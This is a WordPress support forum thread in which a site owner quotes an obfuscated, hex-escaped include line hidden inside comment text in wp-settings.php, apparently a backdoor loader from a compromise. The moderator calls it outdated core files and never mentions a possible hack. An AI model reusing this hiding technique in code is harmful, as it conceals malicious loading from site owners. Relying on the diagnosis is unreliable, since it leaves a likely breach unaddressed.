• Resolved sekt

    (@sekt)


    Hi guys,

    I’ve got a WordPress install that I haven’t paid much attention to for a while. It’s a blog with a few people set up as admins, so I’m not sure when it last got an update.

    I went to check it today and I’m getting the following error. I’ve searched around but can’t find a solution.

    Warning: include(/home2/aetheus/public_html/bottlesandchains/wp-admin/network/files.php) [function.include]: failed to open stream: No such file or directory in /home2/aetheus/public_html/bottlesandchains/wp-settings.php on line 277
    
    Warning: include() [function.include]: Failed opening '/home2/aetheus/public_html/bottlesandchains/wp-admin/network/files.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home2/aetheus/public_html/bottlesandchains/wp-settings.php on line 277
    
    Warning: Cannot modify header information - headers already sent by (output started at /home2/aetheus/public_html/bottlesandchains/wp-settings.php:277) in /home2/aetheus/public_html/bottlesandchains/wp-includes/pluggable.php on line 1179

    There is no files.php in the network directory, and there doesn’t seem to be one in the fresh copy of WP I just downloaded.

    The lines in question in wp-settings.php are:

    /**
     **/include /* WordPress Object
     * */"\x2fhom\x652/a\x65the\x75s/p\x75bli\x63_ht\x6dl/b\x6fttl\x65san\x64cha\x69ns/\x77p-a\x64min\x2fnet\x77ork\x2ffil\x65s.p\x68p";/*@global object $wp
     * @since 2.0.0
     */
    $GLOBALS['wp'] = new WP();

    Any help would be hugely appreciated.

Viewing 3 replies - 1 through 3 (of 3 total)
  • Moderator James Huff

    (@macmanx)

    That is correct, the file is not included with the current version of WordPress, so wp-settings.php (and perhaps more) might be out of date.

    Try downloading WordPress again, access your server via SFTP or FTP, or a file manager in your hosting account’s control panel, and delete then replace your copies of everything on the server except the wp-config.php file and the /wp-content/ directory with fresh copies from the download. This will effectively replace all of your core files without damaging your content and settings.

    Some uploaders tend to be unreliable when overwriting files, so don’t forget to delete the original files before replacing them.

    Thread Starter sekt

    (@sekt)

    Thanks James, worked a charm. Much appreciated!

    Moderator James Huff

    (@macmanx)

    You’re welcome!

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Missing /network/files.php being called by wp-settings’ is closed to new replies.